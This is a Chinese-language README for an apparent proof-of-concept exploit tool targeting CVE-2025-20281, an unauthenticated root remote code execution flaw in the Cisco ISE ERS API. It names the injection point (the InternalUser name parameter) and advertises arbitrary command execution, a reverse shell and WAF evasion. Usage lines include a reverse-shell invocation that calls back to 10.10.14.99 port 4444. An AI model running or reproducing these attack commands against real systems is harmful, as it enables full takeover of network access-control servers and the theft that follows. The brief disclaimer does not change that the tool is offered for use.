CVE-2025-20281 — Cisco ISE ERS API 未认证远程代码执行漏洞利用

本仓库包含一个针对 CVE-2025-20281 的 Python 3 概念验证漏洞利用工具，该漏洞是 Cisco Identity Services Engine (ISE) 中的一个严重漏洞，允许通过 ERS API 实现无需认证的 root 权限远程代码执行 (RCE)。

🩻 漏洞概述

Cisco ISE ERS 的 /ers/sdk#_ 端点在处理用户创建请求时未能验证身份验证。
攻击者可通过在 InternalUser 对象的 name 参数中注入 shell 命令，实现以 root 身份执行命令。

• CVE ID: CVE-2025-20281
• 受影响: 启用了 ERS 的 Cisco ISE PAN（策略管理节点）
• 严重性: 严重 (CVSS 9.8)
• 认证要求: 无需认证

⚙️ 功能特性

• ✅ 运行任意命令 (--cmd)
• ✅ 通过 --whoami 快速测试
• ✅ 启动反弹 shell (--reverse)
• ✅ 无需认证或会话令牌
• ✅ 抑制 SSL 警告并输出清晰
• ✅ 使用合法头部绕过简单 WAF

🚀 使用方法

python3 CVE-2025-20281.py TARGET [--whoami | --cmd "id" | --reverse LHOST LPORT]

示例

测试命令：

python3 CVE-2025-20281.py 192.168.1.10 --whoami

运行自定义命令：

python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"

反弹 shell：

python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444

⚠️ 法律免责声明

此代码仅用于教育和授权的测试目的。 请勿针对您未拥有或未经许可测试的网络或系统使用本软件。

🙏 致谢

漏洞：由 Cisco 安全公告披露

PoC 重构：illdeed